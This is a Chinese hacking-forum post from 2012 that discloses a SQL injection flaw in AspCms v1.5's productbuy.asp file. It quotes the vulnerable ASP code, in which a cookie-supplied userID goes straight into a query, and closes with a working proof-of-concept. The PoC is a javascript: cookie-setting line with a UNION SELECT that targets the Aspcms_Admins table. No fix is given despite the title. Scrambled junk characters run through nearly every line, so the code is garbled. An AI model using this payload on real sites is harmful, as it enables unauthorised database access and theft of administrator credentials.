找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2461|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....% q; ]) _0 ^; O9 W* L5 X) \
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。6 `, ~8 h* T  {, n* j
废话不多说,看代码:( F3 @1 I8 l+ ^5 O; `
# K* l3 S# V! i0 `& {
<%' s$ B. h. }0 E1 ?, w* }

% J3 A# M4 G- r/ R# u& z$ P8 wif action = "buy" then
, O& @+ N. ]- Q
! f0 y0 N1 ^9 ^. G' o7 _        addOrder()8 W: s$ J/ ], Q

. y) ~. |6 q) s& ~4 X4 M1 Celse
7 K7 L/ D& a4 `) j# W" V0 y2 w0 ]: w2 [# @0 u- ~. I$ z+ _$ a' r
        echoContent()
0 M$ ^5 {& B$ ^% r
& K1 z0 V- T! ~; f4 bend if
+ C5 B, o' r0 ~9 h" d
  m! w, J) L. l0 \. {
  H# Y; u0 U6 B9 M2 Z+ G; I, r% C8 `) m5 ]8 I' \+ s% r- e
……略过! G0 x0 m: d* B( e) ~2 }) M
( q( R- a8 B; t7 H! l

- H! i' p. N" ^3 F3 L/ D5 t& ^4 @! v9 e% A( \0 S
Sub echoContent()
1 E, V: G% \4 R" T/ H; P
  V( Q& K' h9 l' J3 |  z) Q) [        dim id+ a! t- {9 Y; J, ~1 a
3 }6 C: T/ f4 g  z( x' ~, [
        id=getForm("id","get")+ m) ]3 [5 H, s

1 k4 q+ f6 ~7 W7 i2 x5 ~        
! G/ r# ~; Q. X5 r3 s, p
5 A& b. W1 I  m4 Z        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
9 K; h& ^' w' e$ U: z* [8 |" _
" w) ^" W/ p2 O& X6 T! Y        
9 m" S) M; G6 B+ ~9 ^2 R( L. e1 N% |7 K4 a& i) @+ }
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ Z) K0 {& W( M8 y
) x3 S4 }7 {, G3 I
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct0 V8 v( E* n4 z6 Z
* P6 q' L. g8 |
        Dim templatePath,tempStr
/ v4 J9 e" d  r# O- e, L8 c, B% Q' r# D% ^
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
$ o9 z' P* z. |6 u; y4 w# b8 D* Z. t% z$ o- W  }0 k) B

7 ]* x5 b' d- e1 ~+ ?& s
$ \7 P& T7 M! d8 c9 }/ W% D        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")$ H. }1 }& m1 U. l5 u9 w! K3 R0 h

% v% q  X: C  O4 N% s4 M: a        selectproduct=rsObj(0)
/ O& w0 o& `$ U/ P
$ d: c7 I5 r( z) V! A' r        
3 t: l- g, }+ Y, R+ n( M- e1 F
) r9 r+ ]3 q" |. G7 L4 T        Dim linkman,gender,phone,mobile,email,qq,address,postcode
( U) j5 D* k) F2 x# [. @" d1 u, ]7 F' F' R& Z: F7 f$ K$ l) N) K
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
9 F  C) _) F3 X
) f. W: C9 H: ?& U/ d4 {        if rCookie("loginstatus")=1 then  7 z6 l! q* c1 @$ T8 h9 v

9 }, V$ X. t  k. Z+ k5 D5 ^                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
8 I/ Y7 I4 r1 q- ^. Q/ M
9 ~! j8 c8 j# b( Z! H  S+ @1 q                linkman=rsObj("truename")
0 }  J0 ^5 \2 C) H; @2 X, G7 d* n7 `2 |" X; ~9 H) i$ a2 d
                gender=rsObj("gender")6 X' e3 f4 E+ O$ J
4 Q: \7 U8 r  C# t: I/ J5 h& Z
                phone=rsObj("phone"), E% B* ~2 D4 B

/ }( \+ d1 t/ S$ a: Y0 w- i  w2 u8 O1 `                mobile=rsObj("mobile")7 S8 N: j3 a5 e4 G7 p6 ~3 N

5 N* O6 b3 ^9 A+ |0 \& M                email=rsObj("email")
# M0 ?% {6 x4 h/ _
8 H  z* p3 e/ M% i                qq=rsObj("qq")
  f. L6 \+ B. G  p1 {& P! m! N+ [# f3 \5 I
                address=rsObj("address")
7 R& d0 w" A1 T/ I3 R
$ Z$ d) T' }7 S# H& ^                postcode=rsObj("postcode")
- R( e& r: n  c" O" k5 a: a, Z- t( n
        else
! C% H+ P' }1 I- c
7 V% @+ N# q4 |, @                gender=1
! C" P5 ^& d* u2 S2 k; D( {& {1 q4 g  \4 b
        end if
9 k' v6 p8 G" U; P
+ t+ u2 q4 s* K+ x1 D- a/ x        rsObj.close(). u9 T" U9 Y8 i- W; ?
  ^/ J) Y5 J% V, v8 D
                8 _' g  a8 g! J0 J
* J! u' d- @8 J3 h
        with templateObj 5 T8 ~7 G" A) ]* d7 M1 ?

% Y( l' v- E3 r                .content=loadFile(templatePath)        ) x& Z' @/ E% i8 M  d8 o7 ^
" U! Q' h* S) D- s* O
                .parseHtml()
& P/ b6 w( l( g3 h& I5 U& Y
2 x1 y8 ]/ T7 O' o9 v' c                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)+ X2 e3 J7 {) r1 S+ t# C! ^

9 }9 {5 r4 M+ ?                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                $ X8 [* h0 T2 x" o4 b( Y. e1 `
) e, g& K; I; n; g. Q
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
8 z- h* {* N, R/ E8 E& y
8 ]5 {, k$ o( e( l. C                .content=replaceStr(.content,"[aspcms:phone]",phone)               
* b  _* T! ^, A  k9 _" ?" x% V
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                / e7 y/ x. N: s% k
8 v. E2 E! T* K9 y& \
                .content=replaceStr(.content,"[aspcms:email]",email)                        $ U" R) F5 B7 a% a1 v5 @+ |

9 i! q$ `4 B: x2 }" d3 T- i                .content=replaceStr(.content,"[aspcms:qq]",qq)                        " z5 u  d6 Q( Y" V

9 A. m9 ^( n8 x6 r* ^                .content=replaceStr(.content,"[aspcms:address]",address)                        7 r2 Y5 `4 M$ e% @  T
( u1 |1 a; q: |3 g. T: F9 c) y
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
3 m8 [  `2 o8 \
  a* P1 \1 R; d2 E/ @                .parseCommon()                 ' k4 ]0 Q, B& w+ c# {1 W. L6 r3 `

0 O+ s( Z- f# I2 x                echo .content
' Q1 t. D! |3 S7 |! Z: c( [; v2 p9 [  O- h, O( M* f  A1 L7 G: v
        end with& Q* R- e0 V* V* j
1 G1 e( d( z2 `5 A* s
        set templateobj =nothing : terminateAllObjects/ t- C7 r+ i6 O3 v$ N( q3 O

' ~/ A1 p! w0 ]) z% ~0 hEnd Sub: K$ P2 M. O+ p4 T# V
漏洞很明显,没啥好说的
, i! |& q5 e9 E3 cpoc:
# X( v/ ?! S9 p( v+ S9 w
/ y  P! V# g$ v" \javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​; w1 s4 m2 q0 G' t* H2 k  M6 Y

9 D. M( B$ H4 Q! g: a. f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表